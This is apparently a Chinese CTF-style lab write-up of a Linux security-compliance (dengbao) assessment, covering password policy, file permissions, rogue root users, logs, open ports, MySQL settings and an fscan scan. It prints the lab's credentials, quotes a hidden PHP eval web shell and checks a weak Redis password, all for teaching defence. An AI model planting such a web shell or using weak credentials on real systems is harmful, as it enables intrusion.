玄机——Linux等保测评
本篇文章主要是进行Linux的等保测评
文章目录
- 题目要求:
- 靶机的相关信息
- 1.查看相应文件,账户xiaoming的密码设定多久过期
- 2.查看相应文件,设置的密码到期规则是多少按照flag{提醒时间-最大时间}进行提交
- 3.已安装ssh,请提交当前SSH版本
- 4.对passwd及shadow文件权限分配进行权限值提交并提交是否合规如:644+true
- 5.结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接
- 6.结合相关知识,对没有进行权限分离的用户进行提交
- 7.结合相关知识,提交审计日志功能状态
- 8.审计相关日志,查看zhangsan用户尝试使用sudo但登录失败的日志,提交其时间,如flag{Jun 23 00:39:52}
- 9.结合相关合规知识,提交相关系统内核版本
- 10.对开启的端口排查,结合应急响应知识,对开放的相关恶意端口进行提交
- Linux 常用排查命令有哪些?
- 11.已知相应的WEB恶意端口,提交其隐藏文件中flag
- 12.结合相关知识,提交MySQL存在空口令风险的用户名,多个用户名已+连接
- 13.结合相关知识,对MySQL密码复杂度查询到的最小长度进行提交
- 14.结合相关知识,对MySQL登录最大失败次数查询并提交
- 15.结合相关知识,对MySQL超时返回最大时常进行提交(秒为单位)
- 16.结合相关知识,对MySQL锁定用户数量进行提交
- 17.提交MySQL全局日志状态 OFF或ON
- 18.提交当前MySQL数据库版本
- 19.使用/root/fscan/fscan对本地进行扫描,对存在漏洞的端口进行提交,多个端口以+连接
- 20.根据找到其中的一个应用服务漏洞,提交数据中的flag
- 21.根据搭建服务端口12345进行渗透测试,提交命令执行的whoami回显包
- 总结
题目要求:
在开始之前,我们首先要知道什么是等级保护:
(1)等级保护(网络安全等级保护)是我国网络安全领域的基本制度,指对国家关键信息基础设施、网络和信息系统,按重要程度划分为不同安全保护等级
(2)通常来说,等级保护测评指标,基于网络安全等级保护 2.0 标准(GB/T 22239-2019),覆盖技术与管理两大维度,适用于第二级、第三级系统(一级要求相对基础,四级、五级为国家级关键系统,要求更高且需专项管理)
靶机的相关信息
主机账号: root
主机密码: dengbao123
小皮账号: admin
小皮密码: dengbao123
小皮登录地址:http:ip:9080/48D41A/
MySQL账号: root 端口: 33060
MySQL密码: dengbao123
渗透WEB后台账号: admin
渗透WEB后台密码: password
镜像下载地址: 天翼网盘不限速: https://cloud.189.cn/t/eQvuIfqY3Irm (访问码:0hh8)
文章引用参照:此处
1.查看相应文件,账户xiaoming的密码设定多久过期
这里我们下载好镜像后,输入账号密码进入靶机。
从登录页面,我们可以知道Ubuntu的版本,以及IP地址;
/etc/passwd
则是Linux存储用户信息的文件,所以通常在Linux中,攻击者不会像Windows那样隐藏用户进行权限维持;
也是发现xiaoming这个账号确实存在;
根据题目,我们可以查看/etc/shadow
这个文件,通常密码都是保存在此处;
但这里要看懂,我们要知道shadow文件下各字段分别代表什么:
用户名:加密密码:最后修改时间:最小期限:最大期限:警告天数:宽限天数:失效日期:保留字段
root:$6$salt$hashed:18934:0:90:7:10:19999:
- 登录系统的用户名为
root
- 经过算法以及
salt
加密后的hash值,$6$
代表SHA-512算法(默认,安全性较高) - 自 1970 年 1 月 1 日起的天数,表示上次修改密码的日期,(可通过
date -d @$(echo $((18934*86400)) | bc
)换算) - 两次修改密码的最小间隔天数(0 表示无限制)
- 最大期限(超过后必须修改),默认值为
99999
(约 273 年,即密码永不过期) - 密码过期前提前提醒的天数(默认 7 天)
- 密码过期后仍允许登录的天数(0 表示立即失效,-1 表示永久有效)
- 账户被禁用的日期(自 1970 年 1 月 1 日起的天数)
- 预留未使用,通常为空
根据上图,我们可以知道7天后过期:
flag{7}
–
2.查看相应文件,设置的密码到期规则是多少按照flag{提醒时间-最大时间}进行提交
这里我们要知道应该到哪个文件去寻找
系统全局的密码到期规则定义在 /etc/login.defs
文件中,其中两个关键参数决定了密码有效期和警告时间:
- PASS_MAX_DAYS:密码最长使用天数(超过后必须修改)。
- PASS_WARN_AGE:密码过期前的警告天数
输入命令进行查看:
cat /etc/login.defs | more # more是为了将内容分页,方便查看
一番搜寻后也是找到了结果:
所以flag{提醒时间-最大时间} :flag{PASS_WARN_AGE - PASS_MAX_DAYS}
flag{7-99999}
–
3.已安装ssh,请提交当前SSH版本
为防止在远程传输过程中被窃听等行为,需查看相应端口和服务,如SSH,telnet等,SSH默认已开启,获取相应版本自行搜集版本是否存在漏洞即可,熟悉流程
题目要求我们查看ssh的版本,很简单,一条命令即可:
ssh -V # v表示版本
结果为:
所以flag结果为:flag{OpenSSL 3.0.2}
不对?这里提交的时候我也懵了很久,后面查询资料后才知道:
SSH 与 OpenSSL 的本质区别
SSH(Secure Shell)
是用于安全远程登录和数据传输的网络协议,其具体实现通常为 OpenSSH 软件(Linux 系统默认使用)。
版本号格式:如 OpenSSH_8.9p1,其中 8.9p1 是 SSH 软件的版本号,代表功能、安全特性和补丁更新。
OpenSSL
是开源的加密库,为 SSH 提供加密算法支持(如 AES、RSA 等)。
版本号格式:如 OpenSSL 3.0.2,仅表示加密库的版本,与 SSH 功能特性无直接关联。
所以:要看他最前面的字段
flag{OpenSSH_8.9p1}
–
4.对passwd及shadow文件权限分配进行权限值提交并提交是否合规如:644+true
为了实现对用户权限的访问控制,一般限制配置文件权限分配不超过644,可执行文件不超过755
可使用命令:
# 查看passwd文件权限
stat -c '%a' /etc/passwd# 查看shadow文件权限
stat -c '%a' /etc/shadow
显示结果为这两个文件都不合规,
当然,也可以使用rwx
进行分辨:
# 还可以使用其他命令
ls -l /etc/passwd /etc/shadow
结果为:
额外知识补充
-
权限说明
r
= read 读
w
= write 写
x
= execute 执行 -
对应的分值:
r = 4
w = 2
x = 1
例如:d rwx r-x r-x
中:
(1)d
表示目录
(2)rwx
表示所属用户的权限 user
(3)r-x
表示所属组的权限 group
(4)r-x
表示其他用户的权限 other
根据上述的描述,所以结果:
flag{755+false}
–
5.结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接
根据题目的信息,我们应该查看的就是
/etc/passwd
文件,原因就不多说了,dddd
输入命令:
cat /etc/passwd |more # more还是为了方便显示
通常情况下,由用户创建的普通用户,他的UID都是1000开始的,所以我们可以重点锁定几个目标:
一步步排查,先排查可登录用户,再排查用户的权限,发现用户yunwei和wangwei具有root权限,我们可以找到相关人员核实:
发现其中的yunwei和wangwei用户具有root权限;而security以及zhangsan则需要密码进行登录:
此处应急响应的时候也可以用到,主要查看在用户家目录,root 或者home目录,以及passwd和shadow文件的可疑用户和字段,此处我们查看/etc/passwd文件:cat /etc/passwd|grep home
我们要知道,Linux中uid或者gid等于0的都属于roo组,也就是超级管理员权限;这在一个普通用户身上是不正常的;
问: 结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接
答: flag{yunwei+wangwei}
–
6.结合相关知识,对没有进行权限分离的用户进行提交
什么是权限分离?如何进行判断?
(1) 首先,在 Linux 系统中,权限分离是保障系统安全的核心原则(如普通用户与管理员权限分离、避免权限滥用)。若发现用户未进行权限分离(如普通用户拥有过高权限、直接使用 root 操作等),需通过权限审计、权限回收、最小权限配置等操作修复。
(2)通过sudo -l命令可查看用户允许以 root 身份执行的命令,若普通用户拥有无限制sudo权限(如ALL=(ALL) ALL
),则权限分离失效。
示例:
user1 ALL=(ALL) ALL # 用户可执行任何命令
user2 ALL=(ALL) NOPASSWD: ALL # 免密执行任何命令(高风险)
所以我们可以通过 cat /etc/sudoers |more
来查看以及管理用户最小权限:
这里我们可以看到zhangsan竟然与root用户拥有同样的权限,这是不正确的;
flag{zhangsan}
–
7.结合相关知识,提交审计日志功能状态
在 Linux 系统中,审计日志功能状态的查看与分析是系统安全运维的重要环节。
对于日志审计功能,我们要求必须开启,且日志需要保留至少6个月以上,此处我们查询syslog是否开启,对日志开启状态进行提交
sudo systemctl status syslog # sudo表示root身份运行,其他身份都无此权限
(这里换成了xshell,因为在靶机输入字太小了)
可以看到运行结果是active
所以结果为:
flag{active}
–
8.审计相关日志,查看zhangsan用户尝试使用sudo但登录失败的日志,提交其时间,如flag{Jun 23 00:39:52}
(1)在Linux中,通常用户尝试远程登录ssh的记录都是保存在
/var/log/auth.log
这个目录下;
(2)并且可以通过匹配“Failed password” 或者 ”Accepted password“来检验登录成功还是失败;(具体的可以看这篇文章)的Linux日志分析部分
进入到/varlog
目录后,我们可以看到有着许多日志,而access.log则是apache服务器的日志;
所以具体步骤我就不说了,不懂的可以看上面那篇文章直接开始操作:
从图中可以看出,刚开始创建了zhangsan这个用户,然后切换到zhangsan账号后(su:(to zhangsan)
),但是授权失败了,所以将此时的时间记录下来即可:
flag{Jun 23 01:38:20}
–
9.结合相关合规知识,提交相关系统内核版本
需确认当前系统内核版本是否为最新或版本是否存在漏洞,执行:uname -a进行查看到内核版本,是否存在漏洞自行搜集
uname -a
结果显示:
所以结果为:
flag{5.15.0-112-generic}
–
10.对开启的端口排查,结合应急响应知识,对开放的相关恶意端口进行提交
应急响应中,对端口进行排查的话,可以使用
netstat -antlp |more
查看当前正在运行的进程列表;
Linux 常用排查命令有哪些?
top
:显示当前系统中最占用 CPU 和内存的进程。ps
:显示当前系统所有运行的进程列表。netstat
:显示网络连接状态和统计信息,例如打开的端口、TCP/UDP 连接和网络接口等。ifconfig/iwconfig
:显示网络接口的状态和配置信息。ping/traceroute
:用于测试网络是否连通以及检测网络故障的工具。df/du
:显示磁盘使用情况,包括已用空间和可用空间等信息。ls/lsof
:用于查看打开的文件、目录和文件描述符。strace/ltrace
:跟踪应用程序执行期间的系统调用和库函数调用。tcpdump
:捕获网络数据包并将其记录到日志文件中,以便进行后续分析。tail
:实时监视日志文件,并显示最新添加的日志信息。
已知8090和9080为小皮面板,PHP study搭建,WEB服务直接登录PHP study即可,输入命令:xp,然后输入6查看到面板信息,根据给到的账号密码登录进行排查即可;
复制给到的url链接,直接复制外网链接即可,输入账号密码登录,点击网站可以查看所有对外映射站点,查看站点目录文件及端口:
这里为了访问方便,我就在同网段又开了台kali,进行访问:192.168.195.142:9080/48D41A
输入账号密码后(admin:dengbao123),即可进到管理页面:
点击进入后也是发现了相应的hack文件:
这里有着三个端口,5566,8899,12345,都是试着提交一遍,最终发现5566是最终的结果:
flag{5566}
–
11.已知相应的WEB恶意端口,提交其隐藏文件中flag
这个就很简单了,之间进入查看.hacker.php隐藏文件即可:
这时候我们也可以回到靶机去到相应的目录进行查看:
<?php @eval($_POST['781n569ebf71c9e6894b779456d330e']); ?>
所以结果为:
flag{7815696ecbf1c96e6894b779456d330e}
–
12.结合相关知识,提交MySQL存在空口令风险的用户名,多个用户名已+连接
此处注意,MySQL端口为33060,已在文章处标注,3306为小皮搭建,无法远程控制,此处推荐使用远程连接的方式进行控制,或熟悉docker的师傅可以进入对应容器进行操作,此处我使用Navicat
MySQL账号: root 端口: 33060
MySQL密码: dengbao123
这里使用语句:select user,authentication_sring from mysql.user
或者SELECT User FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;
- 该查询会从系统表 mysql.user 中筛选出密码字段(authentication_string)为空字符串或 NULL 的用户
- 返回结果为所有存在空口令风险的用户名列表
这里我们发现yunwei这个账户是没有密码的,不符合等保的标准;
flag{yunwei}
–
13.结合相关知识,对MySQL密码复杂度查询到的最小长度进行提交
应等保合规性要求,密码复杂度需要一定配置,默认情况下MySQL是没有装载相关插件的此处已进行装载插件,我们进行查询:
show variables like 'validate%';
或者SELECT User FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;
- 该查询会从系统表 mysql.user 中筛选出密码字段(authentication_string)为空字符串或 NULL 的用户
flag{8}
–
14.结合相关知识,对MySQL登录最大失败次数查询并提交
为了防止暴力破解及合规性要求,需设置密码错误次数后冻结等操作,此处已进行装载插件,执行命令查询:show variables like '%connection_control%';
或者SHOW VARIABLES LIKE 'max_connect_errors';
- max_connect_errors 参数控制单个 IP 地址因登录失败被临时阻止的最大尝试次数
可以看到最多允许账号登陆时密码错误3次,实际可根据要求进行配置。所以结果为:
flag{3}
–
15.结合相关知识,对MySQL超时返回最大时常进行提交(秒为单位)
为防止远程连接超时,连接时长时间不操作及可能被窃取会话可能,包括合规性检查,我们需设置并检查超时最大时间容忍上限:show variables like "%timeout%";
并对时间进行提交:
flag{28800}
–
16.结合相关知识,对MySQL锁定用户数量进行提交
为了对合规性满足要求,以及是否在运维本身不知情的情况下,MySQL某些用户存在开启状态,从而可能造成危害:
select user,account_locked from mysql.user;
flag{3}
–
17.提交MySQL全局日志状态 OFF或ON
应对合规性要求,相关日志功能需要开启且日志需保留至少6个月,需要检查相关功能是否开启且正常:select user,account_locked from mysql.user;
flag{OFF}
–
18.提交当前MySQL数据库版本
通常情况下可以使用
mysql --version
进行查询;
或者使用:在MySQL内部使用命令查询到版本:select @@version;
或select version();
flag{8.0.27}
–
19.使用/root/fscan/fscan对本地进行扫描,对存在漏洞的端口进行提交,多个端口以+连接
漏洞扫描是等保测评的一部分,我们此处只进行模拟,我们使用**/root/fscan/fscan**进行扫描本地127.0.0.1存在的漏洞进行验证
这里我首先查看fscan的文件类型,发现是个可执行文件,所以使用命令./fscan -h 127.0.0.1
进行扫描:
可以看到8848以及6379的Redis服务端口可能存在漏洞;
flag{6379+8848}
执行命令:./fscan -h 127.0.0.1 看到扫描出存在漏洞的端口为8848/nacos服务以及6379/redis存在的弱口令
redis弱口令为123456,我们执行redis-cli -h 127.0.0.1
登录验证成功
验证成功;
–
20.根据找到其中的一个应用服务漏洞,提交数据中的flag
–
21.根据搭建服务端口12345进行渗透测试,提交命令执行的whoami回显包
总结
剩下两个触及到知识盲区了,之后再补充。